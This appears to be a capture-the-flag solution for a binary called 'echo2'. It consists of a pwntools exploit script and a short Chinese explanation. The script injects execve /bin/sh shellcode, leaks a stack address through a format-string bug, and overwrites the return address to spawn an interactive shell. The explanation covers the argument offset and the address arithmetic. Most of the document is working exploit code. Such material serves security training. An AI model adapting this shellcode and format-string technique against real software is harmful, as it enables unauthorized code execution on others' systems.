from pwn import *
p=process("./echo2")
elf=ELF("./echo2")
p.recvuntil("hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntil(b"> ")
p.sendline(b"2")
payload=b"%10$p"+b"A"*3
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()
//XMCVE2020
check后,发现stack可执行。由于开启了地址不固定,所以要利用FSB泄露出栈的地址。程序在一开始给出了一次机会往stack上写入数据,我们这时候讲shellcode写入(因为给了24个字节的大小),然后进入选项2,选项2中存在着打印函数,而函数栈帧中,与地址相关的是prev_RBP,所以我们这时候能把这个东西打印出来,就可以得到stack的地址。
b"%10$p"+b"A"*3
为什么是第10个参数呢? 因为64位中,前6个参数在寄存器上,第七个,第八个以后的都在栈上往后数。写入“A”*3 是标识,方便我们后续recv。。再次减去0x20,得到v7的地址,也就是shellcode的地址,剩下的就是double free
重点在于double free 和 FSB的结合使用。